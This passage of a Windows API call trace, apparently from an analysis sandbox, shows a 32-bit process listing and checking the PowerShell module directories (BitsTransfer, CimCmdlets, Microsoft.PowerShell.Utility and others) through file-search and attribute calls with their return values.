ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0182.398] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0182.398] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0182.398] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0182.398] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0182.399] FindClose (in: hFindFile=0x5505c0 | out: hFindFile=0x5505c0) returned 1 [0182.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e754) returned 1 [0182.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9b4) returned 1 [0182.399] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0182.399] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0182.399] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0182.399] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0182.400] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0182.400] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0182.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0182.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0182.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.400] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0182.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0182.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0182.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.401] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0182.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0182.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.402] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0182.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0182.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.402] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0182.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0182.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.403] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0182.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0182.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.404] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0182.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0182.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.405] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.405] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0182.405] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0182.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.405] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.406] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0182.406] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0182.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.406] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.406] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0182.406] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0182.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.407] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.407] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0182.407] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0182.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.407] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.408] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0182.408] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0182.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.408] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.408] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0182.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0182.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.409] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0182.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0182.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0182.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0182.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e734) returned 1 [0182.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x5a8e9f8 | out: lpFileInformation=0x5a8e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e730) returned 1 [0182.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9e4) returned 1 [0182.411] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0182.411] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0182.411] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x5a8e794 | out: lpFindFileData=0x5a8e794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5505c0 [0182.412] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: 